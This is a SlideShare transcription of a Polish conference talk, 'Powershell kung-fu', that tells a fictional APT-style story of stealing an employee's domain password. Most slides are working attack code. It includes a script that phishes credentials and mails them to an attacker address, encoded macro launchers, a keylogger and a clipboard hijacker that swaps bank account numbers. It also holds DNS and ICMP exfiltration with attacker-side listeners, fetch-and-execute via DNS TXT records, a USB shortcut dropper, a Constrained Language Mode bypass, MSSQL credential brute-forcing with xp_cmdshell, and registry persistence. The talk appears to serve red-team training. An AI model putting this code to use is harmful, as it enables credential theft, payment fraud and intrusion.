SlideShare a Scribd company logo
Paweł M azi ar z
h ttps : //ap t mas t er c las s . c om
h ttps : // i mmun i ty -s ys tems . c om
Kraków 04.06.2019
Powershell kung-fu
c zyli j ak wykr aś ć h as ła w s tylu AP T
Rozdział I: Fabuła
Jes teś zn any
j ako Dar k Vin ci
i dos tałeś
zlec en i e n a
zdobyc i e h as ła
d omen ow ego
j edn ego z
pr ac own i ków
f i r my St eam
C or p – Wik t or a
V. Jego h as ło
pozwoli
zalogować s i ę
do ter mi n ala,
dzi ęki
któr emu. . .
Vincent Gates
Lucius Torvalds
Steam Jobs
https://aptm.in/darklord
whois Paweł Maziarz
• Ojciec Dark Lorda / Dark Vinci
• Współojciec Immunity Systems
• Trener APT Masterclass
• Blogger? (https://aptm.in/)
Zainteresowania:
• Socjotechnika
• Bezpieczeństwo fizyczne
(RFID, zamki)
• Złośliwe oprogramowanie,
honeypoty
• Kowalstwo, piece rakietowe
Rozdział II: Rekonesans
- s y s t e m o p e r a c y j n y :
a k t u a l i z o w a n y
W i n d o w s 10
- w i ę k s z o ś ć i n ż y n i e r ó w
w f i r m i e w y k o r z y s t u j e
G i t h u b a , p a s t e b i n a
- w y c h o d z ą c y r u c h
H T T P / H T T P S , F T P
j e s t m o n i t o r o w a n y
- w o r g a n i z a c j i u ż y w a ny
j e s t O u t l o o k
Rozdział III: Plan A
- Dostarczenie: phishing
z dokumentem Excela
i złośliwym makrem
- Payload: monit o hasło
- Eksf iltracja: wysyłka
hasła mailem
- Narzędzie egzekucji:
Powershell
Rozdział IV: Powershell
- Dos t ęp ny n a k ażdym
n ow ym Wi n d ows i e
- O g r omn e możliw oś ci –
j ęzyk s kr yptowy dla .N ET
- Koch any p r zez r ed i blu e
teamy – t on y pr ojek t ów
- O pen s ou r ce, cr os s
plat for m
Rozdział V: Monit o hasło i wysyłka mailem
iex (iwr
https://raw.githubusercontent.com/samratas
hok/nishang/master/Gather/Invoke-
CredentialsPhish.ps1)
$Outlook = New-Object -ComObject
Outlook.Application
$Mail = $Outlook.CreateItem(0)
$Mail.To = "darkvinci@pmlabs.net"
$Mail.Subject = (Invoke-CredentialsPhish)
$Mail.Body = (ipconfig /all)|out-string
$Mail.Send()
Rozdział VI: Phishing i złośliwe makro
Sub Workbook_Open
Shell "powershell -enc
YwBhAGwAYwAuAGUAeAB
lAA=="
End Sub
Rozdział VI: Phishing i złośliwe makro
Sub Workbook_Open
Shell "cmd /c powershell -enc
YwBhAGwAYwAuAGUAeABl
AA=="
End Sub
Przerzucili Wiktora do grupy
VIP. Nie ma dostępu do poczty,
ruch do publicznych hostów po
TCP i UDP zablokowany. Od
czasu do czasu ktoś przynosi
mu coś na USB. W załączeniu
schemat wycinka sieci.
Jeszcze jedno, Wiktor stał się
wyczulony na kwestie
bezpieczeństwa.
STEAMTERNET
FW_EXT
OFFICE
VOIP
FW_INT
LOCAL SERVICES
DNS
WEB
MSSQL_01
MAIL WEB
FTP
DMZ
VIP
SW_01
GUEST
ERP
WiktorPC
Rozdział VII: Plan B
- Na r z ę d z i e e g z e k u c j i :
P o w e r s h e l l
- Pay l o a d : k e y l o g g e r,
p o d s ł u c h i w a n i e s c h o w k a
- E k s f i l t r a c j a : D N S , I C M P
- D o s t a r c z e n i e : p e n d r i v e ,
k t ó r y j e s t p e n d r i v e m
- P r e z e n t y o d s i e b i e :
o w s z e m ; >
Rozdział VIII: Keylogger
$Path = $env:tempkeys
while ($true) {
Start-Sleep -Milliseconds 40
for ($ascii = 9; $ascii -le 254; $ascii++) {
$state = $API::GetAsyncKeyState($ascii)
if ($state -eq -32767) {
$null = [console]::CapsLock
$virtualKey = $API::MapVirtualKey($ascii, 3)
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
$mychar = New-Object -TypeName System.Text.StringBuilder
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
https://www.nextofwindows.com/creating-a-simple-keylogger-using-powershell-download
Rozdział VIII: Keylogger
$virtualKey = $API::MapVirtualKey($ascii, 3)
https://aptmasterclass.com/ps1/enc/
[System.Text.Encoding]::Unicode.GetString([System.Con
vert]::FromBase64String("JAB2AGkAcgB0AHUAYQBsAE
sAZQB5ACAAPQAgACQAQQBQAEkAOgA6AE0AYQBwAF
YAaQByAHQAdQBhAGwASwBlAHkAKAAkAGEAcwBjAG
kAaQAsACAAMwApAA0ACgA="))|iex
Rozdział IX: Schowek
for (;;) {
get-clipboard -format text | out-file "$env:tempclip"
start-sleep 1
}
# gift no 1 :>
$slup = "57114000003586487411566642"
for (;;) {
$a = get-clipboard -format text
$a | out-file "$env:tempclip"
if (($a -match "^[0-9 -]+$") -and (($a -replace "[^0-9]","").Length -eq 26)) {
Set-Clipboard $slup
}
start-sleep 1
}
Rozdział X: Eksfiltracja DNS
filter tb64
{[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($_))}
filter thx { ($_.ToCharArray()|%{ "{0:X2}" -f [int]$_ }) -join "" }
filter chunks($c) {
$t=$_;0..[math]::floor($t.length/$c)|%{$t.substring($c*$_,[math]::min($c,
$t.length-$c*$_))} }
filter dots($c) { ($_ -replace "([w]{$c})","`$1.").trim('.') }
whoami|out-string|tb64|thx|chunks 120|dots 32|%{Resolve-DnsName -type a
"$_.$((++$i)).foo.aptmc.pl"}
Rozdział X: Eksfiltracja DNS
iwr https://raw.githubusercontent.com/aptmasterclass/powershell-
kungfu/master/exfil/Invoke-DNSExfil.ps1 | iex
whoami | Invoke-DNSExfil foo.aptmc.pl
Rozdział XI: Infiltracja DNS
(Resolve-DnsName -Type TXT calc.aptmc.pl).strings|iex
Resolve-DnsName -Type
TXT msg.aptmc.pl|%{[System.Text.Encoding]::UTF8.GetString([System.Convert]::
FromBase64String($_.strings))}|iex
[System.Text.Encoding]::UTF8.GetString(
[System.Convert]::FromBase64String((((Resolve-DnsName -Type TXT
msg10.aptmc.pl).strings|sort) -join "" -replace "[d].","")))|iex
Rozdział XII: Własny DNS
#! /usr/bin/env python
from scapy.all import DNS, DNSQR, DNSRR, IP, send, sniff, sr1, UDP
IFACE = "enp1s0"
DNS_SERVER_IP = "77.55.217.157"
BPF_FILTER = "udp port 53 and ip dst %s" % DNS_SERVER_IP
def dns_responder(local_ip: str):
def get_response(pkt: IP):
if (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):
if True:
reply = IP(dst=pkt[IP].src, src=pkt[IP].dst)/ UDP(dport=pkt[UDP].sport,
sport=pkt[UDP].dport)/ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=local_ip))
send(reply, verbose=0, iface=IFACE)
return " response sent to: %s" % pkt[IP].src
return get_response
sniff(filter=BPF_FILTER, prn=dns_responder(DNS_SERVER_IP), iface=IFACE)
Rozdział XIII: Eksfiltracja ICMP
$ICMPClient = New-Object
System.Net.NetworkInformation.Ping
$r=$ICMPClient.Send("steam.aptmc.pl", 10,
([text.encoding]::ASCII).GetBytes("Hello, hackers!"))
[System.Text.Encoding]::ASCII.GetString($r.Buffer)
iwr
https://raw.githubusercontent.com/aptmasterclass/powers
hell-kungfu/master/exfil/Invoke-ICMPExfil.ps1 | iex
whoami | Invoke-ICMPExfil steam.aptmc.pl
Rozdział XIII: Eksfiltracja ICMP
#! /usr/bin/env python
# sysctl net.ipv4.icmp_echo_ignore_all=1
from scapy.all import *
def handle_ping(pkt):
if (pkt[2].type == 8):
try:
dst=pkt[1].dst
src=pkt[1].src
seq = pkt[2].seq
id = pkt[2].id
load=pkt[3].load
print "payload from %s: %s" % (src, load)
reply = IP(src=dst, dst=src)/ICMP(type=0, id=id, seq=seq)/load[::-1]
send(reply,verbose=False)
except:
pass
if __name__=="__main__":
iface = "enp1s0"
filter = "icmp and icmp[0]=8"
sniff(iface=iface, prn=handle_ping, filter=filter)
Rozdział XIV: Eksfiltracja
$domain = "foo.aptmc.pl"
$files = "$env:tempkeys","$env:tempclip"
$interval = 5
for (;;) {
start-sleep $interval
$files | % {
cat $_ | Invoke-ICMPExfil $domain
cat $_ | Invoke-DNSExfil $domain
}
}
Rozdział XV: Pendrive
$w = New-Object -ComObject WScript.Shell
$desktop = [system.environment]::GetFolderPath("Desktop")
$link = $w.CreateShortcut("$desktopraporty.lnk")
$link.TargetPath = 'powershell.exe'
$link.arguments = ' -ep bypass .boot.ps1’
$link.IconLocation = "C:WindowsSystem32Shell32.dll,3"
$link.save() > $null
Rozdział XVI: Bootstrapper
start -WindowStyle hidden powershell -argumentlist "-ep
bypass .confkeys.ps1"
start -WindowStyle hidden powershell -argumentlist "-ep
bypass .confclip.ps1"
start -WindowStyle hidden powershell -argumentlist "-ep
bypass .confexfil.ps1"
Jest Problem.
Wielki Administrator
włączył Powershell
Constrained Language
Mode.
Rozdział XVII: Powershell Constrained Language Mode
https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/
[Environment]::SetEnvironmentV
ariable('__PSLockdownPolicy', '4',
'Machine')
$ExecutionContext.SessionState.
LanguageMode
PS C:Usersdrg> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS C:Usersdrg
PS C:Usersdrg> powershell -v 2
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.
PS C:Usersdrg> $ExecutionContext.SessionState.LanguageMode
FullLanguage
PS C:Usersdrg
Rozdział XVII: Powershell Constrained Language Mode
Rozdział XVIII: Powershell bez powershella
// SharpPS.cs
using System.Management.Automation.Runspaces;
public class SharpPS {
public static void Main(string[] args) {
string cmd = System.IO.File.ReadAllText(@args[0]);
RunspaceConfiguration cfg = RunspaceConfiguration.Create();
Runspace spc = RunspaceFactory.CreateRunspace(cfg);
spc.Open();
Pipeline pipeline = spc.CreatePipeline();
pipeline.Commands.AddScript(cmd);
pipeline.Invoke();
}
}
C:WindowsMicrosoft.NETFramework64v2.0.50727csc.exe
/r:C:WindowsassemblyGAC_MSILSystem.Management.Automation1.0.0.0__31bf3856ad364e
35System.Management.Automation.dll /unsafe /platform:anycpu /out:SharpPS.exe SharpPS.cs
PS C:Usersdrg> .SharpPS.exe .payload.ps1 https://lolbas-project.github.io/
Rozdział XIX: C# z Powershella
$source=@"
using System.Windows.Forms;
namespace Foo {
public static class Bar {
public static void Hello() {
MessageBox.Show("Hello World");
}
}
}
"@
Add-Type -TypeDefinition $source
-ReferencedAssemblies System.Windows.Forms
[Foo.Bar]::Hello()
https://twitter.com/malwrhunterteam/status/798810061447385089
Rozdział XX: Powershellem przez MSSQL
# Poproś o listę zarejestrowanych usług MSSQL w AD
$spns = @()
$s = [ADSISearcher]([ADSI]"")
$s.filter = "(servicePrincipalName=MSSQLSvc/*)"
$s.FindAll() | % {
$_.GetDirectoryEntry().servicePrincipalName -match "MSSQL"|% {
$spns += $_.Split("/")[1]
}
}
$spns
C:Usersdrg> setspn.exe -Q MSSQLSvc/* MSSQL_01
https://aptm.in/mssql3
PS C:Usersdrg> (setspn -Q MSSQLSvc/*) -match "MSSQL" | % { $_.Trim() -Replace ':1433','' } | Get-Unique
Rozdział XX: Powershellem przez MSSQL
# Sprawdź czy można się zalogować na podane credentiale
$_user = "sa"
$_pass = "Comaarch!2011"
$_host = "172.16.0.10"
$Connection = New-Object
System.Data.SQLClient.SQLConnection
$Connection.ConnectionString = "Data Source=$_host;Persist
Security Info=True;User ID=$_user;Password=$_pass"
try {
$Connection.Open()
echo "[OK] $_user@$_host - $_pass"
} catch [Exception] {
echo "[ERR] $_user@$_host - $_pass"
} MSSQL_01
https://aptm.in/mssql1
https://www.google.com/search?q=mssql+sa+domyślne+hasło+filetype:pdf
"Powershell kung-fu" - Paweł Maziarz
"Powershell kung-fu" - Paweł Maziarz
"Powershell kung-fu" - Paweł Maziarz
"Powershell kung-fu" - Paweł Maziarz
Rozdział XX: Powershellem przez MSSQL
# Uruchom polecenie w w systemie operacyjnych
$_user = "sa"
$_pass = "P@ssw0rd"
$_host = "172.16.0.15"
$_query = "exec xp_cmdshell 'whoami'"
$Connection = New-Object System.Data.SQLClient.SQLConnection
$Connection.ConnectionString = "Data Source=$_host;Persist
Security Info=True;User ID=$_user;Password=$_pass"
$Connection.Open()
$command = $connection.CreateCommand()
$command.CommandText = $_query
$result = $command.ExecuteReader()
$table = new-object "System.Data.DataTable"
$table.Load($result)
echo $table
MSSQL_01
https://aptm.in/mssql2
$_query = @'
exec sp_configure 'show advanced
options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',
1;
RECONFIGURE;
'@
Rozdział XX: Powershellem przez MSSQL
PS C:> (new-object
net.webclient).downloadstring("https://raw.githubusercontent.com/aptmasterclass/
powershell-kungfu/master/mssql/MSSQLKungFu.psm1") | iex
PS C:> Invoke-MSSQLSPNSearchBruteAndExec | ft
Host User Password Command Output
---- ---- -------- ------- ------
2012r2.alphacorp.ad sa P@ssw0rd whoami nt authoritysyst...
piotrpc.alphacorp.ad sa Comarch!2011 whoami nt authoritysyst...
PS C:>
MSSQL_01
https://aptm.in/mssql3
Rozdział XXI: Niezapomnianym być
Registry Value: Available memory (latest format)1 MB
(standard format)
$path="HKCU:SoftwareMicrosoftWindows"
$name="Signature"
$value="aQB3AHIAIABoAHQAdABwAHMAOgAvAC8AYQB
wAHQAbQBjAC4AcABsAC8AYwBhAGwAYwB8AGkAZQB4
AA=="
New-ItemProperty -Path $path -Name $name -Value
$value -PropertyType String -Force
powershell -w h -enc (gp
HKCU:SoftwareMicrosoftWindows).Signature
Dzięki!
Paweł Maziarz <pawelm@immunity-systems.com>
https://aptmasterclass.com/
https://blog.aptmasterclass.com/ (aptm.in)
https://twitter.com/pawelmaziarz

More Related Content

PDF
[오픈소스컨설팅] EFK Stack 소개와 설치 방법
PDF
Trace memory leak with gdb (GDB로 메모리 누수 찾기)
PDF
[오픈소스컨설팅] 쿠버네티스와 쿠버네티스 on 오픈스택 비교 및 구축 방법
PDF
Prometheus – a next-gen Monitoring System
PDF
New Ways to Find Latency in Linux Using Tracing
PPTX
Recast Detour.pptx
PDF
Github Actions and Terraform.pdf
PDF
Kks sre book_ch1,2
[오픈소스컨설팅] EFK Stack 소개와 설치 방법
Trace memory leak with gdb (GDB로 메모리 누수 찾기)
[오픈소스컨설팅] 쿠버네티스와 쿠버네티스 on 오픈스택 비교 및 구축 방법
Prometheus – a next-gen Monitoring System
New Ways to Find Latency in Linux Using Tracing
Recast Detour.pptx
Github Actions and Terraform.pdf
Kks sre book_ch1,2

What's hot (20)

PDF
[오픈소스컨설팅]RHEL7/CentOS7 Pacemaker기반-HA시스템구성-v1.0
PDF
IBM 보안솔루션 앱스캔_App Scan Source Edition
PDF
PDF
DevOps Meetup ansible
PDF
인프콘 2022 - Rust 크로스 플랫폼 프로그래밍
PDF
Ansible
PDF
Terraform OpenStack : Mise en pratique sur infrastructure OVH (Rennes devops)
PDF
Amazon & AWS의 MSA와 DevOps, 그리고 지속적 혁신
PPTX
Terraform modules restructured
PPTX
소프트웨어 개발 트랜드 및 MSA (마이크로 서비스 아키텍쳐)의 이해
PPTX
Infrastructure-as-Code (IaC) using Terraform
PDF
LCA14: LCA14-306: CPUidle & CPUfreq integration with scheduler
PPTX
Openstack zun,virtual kubelet
PDF
Chapitre 3 spark
PDF
AWS 기반의 마이크로 서비스 아키텍쳐 구현 방안 :: 김필중 :: AWS Summit Seoul 20
PPTX
소셜게임 서버 개발 관점에서 본 Node.js의 장단점과 대안
PPTX
Installing and Configuring NGINX Open Source
PDF
클라우드 네이티브 IT를 위한 4가지 요소와 상관관계 - DevOps, CI/CD, Container, 그리고 MSA
PDF
TP1 Big Data - MapReduce
PDF
Ansible Introduction
[오픈소스컨설팅]RHEL7/CentOS7 Pacemaker기반-HA시스템구성-v1.0
IBM 보안솔루션 앱스캔_App Scan Source Edition
DevOps Meetup ansible
인프콘 2022 - Rust 크로스 플랫폼 프로그래밍
Ansible
Terraform OpenStack : Mise en pratique sur infrastructure OVH (Rennes devops)
Amazon & AWS의 MSA와 DevOps, 그리고 지속적 혁신
Terraform modules restructured
소프트웨어 개발 트랜드 및 MSA (마이크로 서비스 아키텍쳐)의 이해
Infrastructure-as-Code (IaC) using Terraform
LCA14: LCA14-306: CPUidle & CPUfreq integration with scheduler
Openstack zun,virtual kubelet
Chapitre 3 spark
AWS 기반의 마이크로 서비스 아키텍쳐 구현 방안 :: 김필중 :: AWS Summit Seoul 20
소셜게임 서버 개발 관점에서 본 Node.js의 장단점과 대안
Installing and Configuring NGINX Open Source
클라우드 네이티브 IT를 위한 4가지 요소와 상관관계 - DevOps, CI/CD, Container, 그리고 MSA
TP1 Big Data - MapReduce
Ansible Introduction
Ad

Recently uploaded (20)

PDF
DP Operators-handbook-extract for the Mautical Institute
PDF
Assigned Numbers - 2025 - Bluetooth® Document
PPTX
Web Crawler for Trend Tracking Gen Z Insights.pptx
PPTX
O2C Customer Invoices to Receipt V15A.pptx
PPTX
Tartificialntelligence_presentation.pptx
PDF
Taming the Chaos: How to Turn Unstructured Data into Decisions
PDF
How ambidextrous entrepreneurial leaders react to the artificial intelligence...
PDF
CloudStack 4.21: First Look Webinar slides
PPTX
Modernising the Digital Integration Hub
PDF
A comparative study of natural language inference in Swahili using monolingua...
PDF
A Late Bloomer's Guide to GenAI: Ethics, Bias, and Effective Prompting - Boha...
PDF
Hybrid horned lizard optimization algorithm-aquila optimizer for DC motor
PDF
1 - Historical Antecedents, Social Consideration.pdf
PDF
Hindi spoken digit analysis for native and non-native speakers
PDF
sustainability-14-14877-v2.pddhzftheheeeee
PDF
Enhancing emotion recognition model for a student engagement use case through...
PDF
Five Habits of High-Impact Board Members
PDF
A contest of sentiment analysis: k-nearest neighbor versus neural network
PPT
Module 1.ppt Iot fundamentals and Architecture
PDF
STKI Israel Market Study 2025 version august
DP Operators-handbook-extract for the Mautical Institute
Assigned Numbers - 2025 - Bluetooth® Document
Web Crawler for Trend Tracking Gen Z Insights.pptx
O2C Customer Invoices to Receipt V15A.pptx
Tartificialntelligence_presentation.pptx
Taming the Chaos: How to Turn Unstructured Data into Decisions
How ambidextrous entrepreneurial leaders react to the artificial intelligence...
CloudStack 4.21: First Look Webinar slides
Modernising the Digital Integration Hub
A comparative study of natural language inference in Swahili using monolingua...
A Late Bloomer's Guide to GenAI: Ethics, Bias, and Effective Prompting - Boha...
Hybrid horned lizard optimization algorithm-aquila optimizer for DC motor
1 - Historical Antecedents, Social Consideration.pdf
Hindi spoken digit analysis for native and non-native speakers
sustainability-14-14877-v2.pddhzftheheeeee
Enhancing emotion recognition model for a student engagement use case through...
Five Habits of High-Impact Board Members
A contest of sentiment analysis: k-nearest neighbor versus neural network
Module 1.ppt Iot fundamentals and Architecture
STKI Israel Market Study 2025 version august
Ad

"Powershell kung-fu" - Paweł Maziarz

  • 1. Paweł M azi ar z h ttps : //ap t mas t er c las s . c om h ttps : // i mmun i ty -s ys tems . c om Kraków 04.06.2019 Powershell kung-fu c zyli j ak wykr aś ć h as ła w s tylu AP T
  • 2. Rozdział I: Fabuła Jes teś zn any j ako Dar k Vin ci i dos tałeś zlec en i e n a zdobyc i e h as ła d omen ow ego j edn ego z pr ac own i ków f i r my St eam C or p – Wik t or a V. Jego h as ło pozwoli zalogować s i ę do ter mi n ala, dzi ęki któr emu. . . Vincent Gates Lucius Torvalds Steam Jobs
  • 4. whois Paweł Maziarz • Ojciec Dark Lorda / Dark Vinci • Współojciec Immunity Systems • Trener APT Masterclass • Blogger? (https://aptm.in/) Zainteresowania: • Socjotechnika • Bezpieczeństwo fizyczne (RFID, zamki) • Złośliwe oprogramowanie, honeypoty • Kowalstwo, piece rakietowe
  • 5. Rozdział II: Rekonesans - s y s t e m o p e r a c y j n y : a k t u a l i z o w a n y W i n d o w s 10 - w i ę k s z o ś ć i n ż y n i e r ó w w f i r m i e w y k o r z y s t u j e G i t h u b a , p a s t e b i n a - w y c h o d z ą c y r u c h H T T P / H T T P S , F T P j e s t m o n i t o r o w a n y - w o r g a n i z a c j i u ż y w a ny j e s t O u t l o o k
  • 6. Rozdział III: Plan A - Dostarczenie: phishing z dokumentem Excela i złośliwym makrem - Payload: monit o hasło - Eksf iltracja: wysyłka hasła mailem - Narzędzie egzekucji: Powershell
  • 7. Rozdział IV: Powershell - Dos t ęp ny n a k ażdym n ow ym Wi n d ows i e - O g r omn e możliw oś ci – j ęzyk s kr yptowy dla .N ET - Koch any p r zez r ed i blu e teamy – t on y pr ojek t ów - O pen s ou r ce, cr os s plat for m
  • 8. Rozdział V: Monit o hasło i wysyłka mailem iex (iwr https://raw.githubusercontent.com/samratas hok/nishang/master/Gather/Invoke- CredentialsPhish.ps1) $Outlook = New-Object -ComObject Outlook.Application $Mail = $Outlook.CreateItem(0) $Mail.To = "[email protected]" $Mail.Subject = (Invoke-CredentialsPhish) $Mail.Body = (ipconfig /all)|out-string $Mail.Send()
  • 9. Rozdział VI: Phishing i złośliwe makro Sub Workbook_Open Shell "powershell -enc YwBhAGwAYwAuAGUAeAB lAA==" End Sub
  • 10. Rozdział VI: Phishing i złośliwe makro Sub Workbook_Open Shell "cmd /c powershell -enc YwBhAGwAYwAuAGUAeABl AA==" End Sub
  • 11. Przerzucili Wiktora do grupy VIP. Nie ma dostępu do poczty, ruch do publicznych hostów po TCP i UDP zablokowany. Od czasu do czasu ktoś przynosi mu coś na USB. W załączeniu schemat wycinka sieci. Jeszcze jedno, Wiktor stał się wyczulony na kwestie bezpieczeństwa.
  • 13. Rozdział VII: Plan B - Na r z ę d z i e e g z e k u c j i : P o w e r s h e l l - Pay l o a d : k e y l o g g e r, p o d s ł u c h i w a n i e s c h o w k a - E k s f i l t r a c j a : D N S , I C M P - D o s t a r c z e n i e : p e n d r i v e , k t ó r y j e s t p e n d r i v e m - P r e z e n t y o d s i e b i e : o w s z e m ; >
  • 14. Rozdział VIII: Keylogger $Path = $env:tempkeys while ($true) { Start-Sleep -Milliseconds 40 for ($ascii = 9; $ascii -le 254; $ascii++) { $state = $API::GetAsyncKeyState($ascii) if ($state -eq -32767) { $null = [console]::CapsLock $virtualKey = $API::MapVirtualKey($ascii, 3) $kbstate = New-Object Byte[] 256 $checkkbstate = $API::GetKeyboardState($kbstate) $mychar = New-Object -TypeName System.Text.StringBuilder $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) if ($success) { [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) } } } } https://www.nextofwindows.com/creating-a-simple-keylogger-using-powershell-download
  • 15. Rozdział VIII: Keylogger $virtualKey = $API::MapVirtualKey($ascii, 3) https://aptmasterclass.com/ps1/enc/ [System.Text.Encoding]::Unicode.GetString([System.Con vert]::FromBase64String("JAB2AGkAcgB0AHUAYQBsAE sAZQB5ACAAPQAgACQAQQBQAEkAOgA6AE0AYQBwAF YAaQByAHQAdQBhAGwASwBlAHkAKAAkAGEAcwBjAG kAaQAsACAAMwApAA0ACgA="))|iex
  • 16. Rozdział IX: Schowek for (;;) { get-clipboard -format text | out-file "$env:tempclip" start-sleep 1 } # gift no 1 :> $slup = "57114000003586487411566642" for (;;) { $a = get-clipboard -format text $a | out-file "$env:tempclip" if (($a -match "^[0-9 -]+$") -and (($a -replace "[^0-9]","").Length -eq 26)) { Set-Clipboard $slup } start-sleep 1 }
  • 17. Rozdział X: Eksfiltracja DNS filter tb64 {[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($_))} filter thx { ($_.ToCharArray()|%{ "{0:X2}" -f [int]$_ }) -join "" } filter chunks($c) { $t=$_;0..[math]::floor($t.length/$c)|%{$t.substring($c*$_,[math]::min($c, $t.length-$c*$_))} } filter dots($c) { ($_ -replace "([w]{$c})","`$1.").trim('.') } whoami|out-string|tb64|thx|chunks 120|dots 32|%{Resolve-DnsName -type a "$_.$((++$i)).foo.aptmc.pl"}
  • 18. Rozdział X: Eksfiltracja DNS iwr https://raw.githubusercontent.com/aptmasterclass/powershell- kungfu/master/exfil/Invoke-DNSExfil.ps1 | iex whoami | Invoke-DNSExfil foo.aptmc.pl
  • 19. Rozdział XI: Infiltracja DNS (Resolve-DnsName -Type TXT calc.aptmc.pl).strings|iex Resolve-DnsName -Type TXT msg.aptmc.pl|%{[System.Text.Encoding]::UTF8.GetString([System.Convert]:: FromBase64String($_.strings))}|iex [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String((((Resolve-DnsName -Type TXT msg10.aptmc.pl).strings|sort) -join "" -replace "[d].","")))|iex
  • 20. Rozdział XII: Własny DNS #! /usr/bin/env python from scapy.all import DNS, DNSQR, DNSRR, IP, send, sniff, sr1, UDP IFACE = "enp1s0" DNS_SERVER_IP = "77.55.217.157" BPF_FILTER = "udp port 53 and ip dst %s" % DNS_SERVER_IP def dns_responder(local_ip: str): def get_response(pkt: IP): if (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0): if True: reply = IP(dst=pkt[IP].src, src=pkt[IP].dst)/ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd, an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=local_ip)) send(reply, verbose=0, iface=IFACE) return " response sent to: %s" % pkt[IP].src return get_response sniff(filter=BPF_FILTER, prn=dns_responder(DNS_SERVER_IP), iface=IFACE)
  • 21. Rozdział XIII: Eksfiltracja ICMP $ICMPClient = New-Object System.Net.NetworkInformation.Ping $r=$ICMPClient.Send("steam.aptmc.pl", 10, ([text.encoding]::ASCII).GetBytes("Hello, hackers!")) [System.Text.Encoding]::ASCII.GetString($r.Buffer) iwr https://raw.githubusercontent.com/aptmasterclass/powers hell-kungfu/master/exfil/Invoke-ICMPExfil.ps1 | iex whoami | Invoke-ICMPExfil steam.aptmc.pl
  • 22. Rozdział XIII: Eksfiltracja ICMP #! /usr/bin/env python # sysctl net.ipv4.icmp_echo_ignore_all=1 from scapy.all import * def handle_ping(pkt): if (pkt[2].type == 8): try: dst=pkt[1].dst src=pkt[1].src seq = pkt[2].seq id = pkt[2].id load=pkt[3].load print "payload from %s: %s" % (src, load) reply = IP(src=dst, dst=src)/ICMP(type=0, id=id, seq=seq)/load[::-1] send(reply,verbose=False) except: pass if __name__=="__main__": iface = "enp1s0" filter = "icmp and icmp[0]=8" sniff(iface=iface, prn=handle_ping, filter=filter)
  • 23. Rozdział XIV: Eksfiltracja $domain = "foo.aptmc.pl" $files = "$env:tempkeys","$env:tempclip" $interval = 5 for (;;) { start-sleep $interval $files | % { cat $_ | Invoke-ICMPExfil $domain cat $_ | Invoke-DNSExfil $domain } }
  • 24. Rozdział XV: Pendrive $w = New-Object -ComObject WScript.Shell $desktop = [system.environment]::GetFolderPath("Desktop") $link = $w.CreateShortcut("$desktopraporty.lnk") $link.TargetPath = 'powershell.exe' $link.arguments = ' -ep bypass .boot.ps1’ $link.IconLocation = "C:WindowsSystem32Shell32.dll,3" $link.save() > $null
  • 25. Rozdział XVI: Bootstrapper start -WindowStyle hidden powershell -argumentlist "-ep bypass .confkeys.ps1" start -WindowStyle hidden powershell -argumentlist "-ep bypass .confclip.ps1" start -WindowStyle hidden powershell -argumentlist "-ep bypass .confexfil.ps1"
  • 26. Jest Problem. Wielki Administrator włączył Powershell Constrained Language Mode.
  • 27. Rozdział XVII: Powershell Constrained Language Mode https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/ [Environment]::SetEnvironmentV ariable('__PSLockdownPolicy', '4', 'Machine') $ExecutionContext.SessionState. LanguageMode
  • 28. PS C:Usersdrg> $ExecutionContext.SessionState.LanguageMode ConstrainedLanguage PS C:Usersdrg PS C:Usersdrg> powershell -v 2 Windows PowerShell Copyright (C) 2009 Microsoft Corporation. All rights reserved. PS C:Usersdrg> $ExecutionContext.SessionState.LanguageMode FullLanguage PS C:Usersdrg Rozdział XVII: Powershell Constrained Language Mode
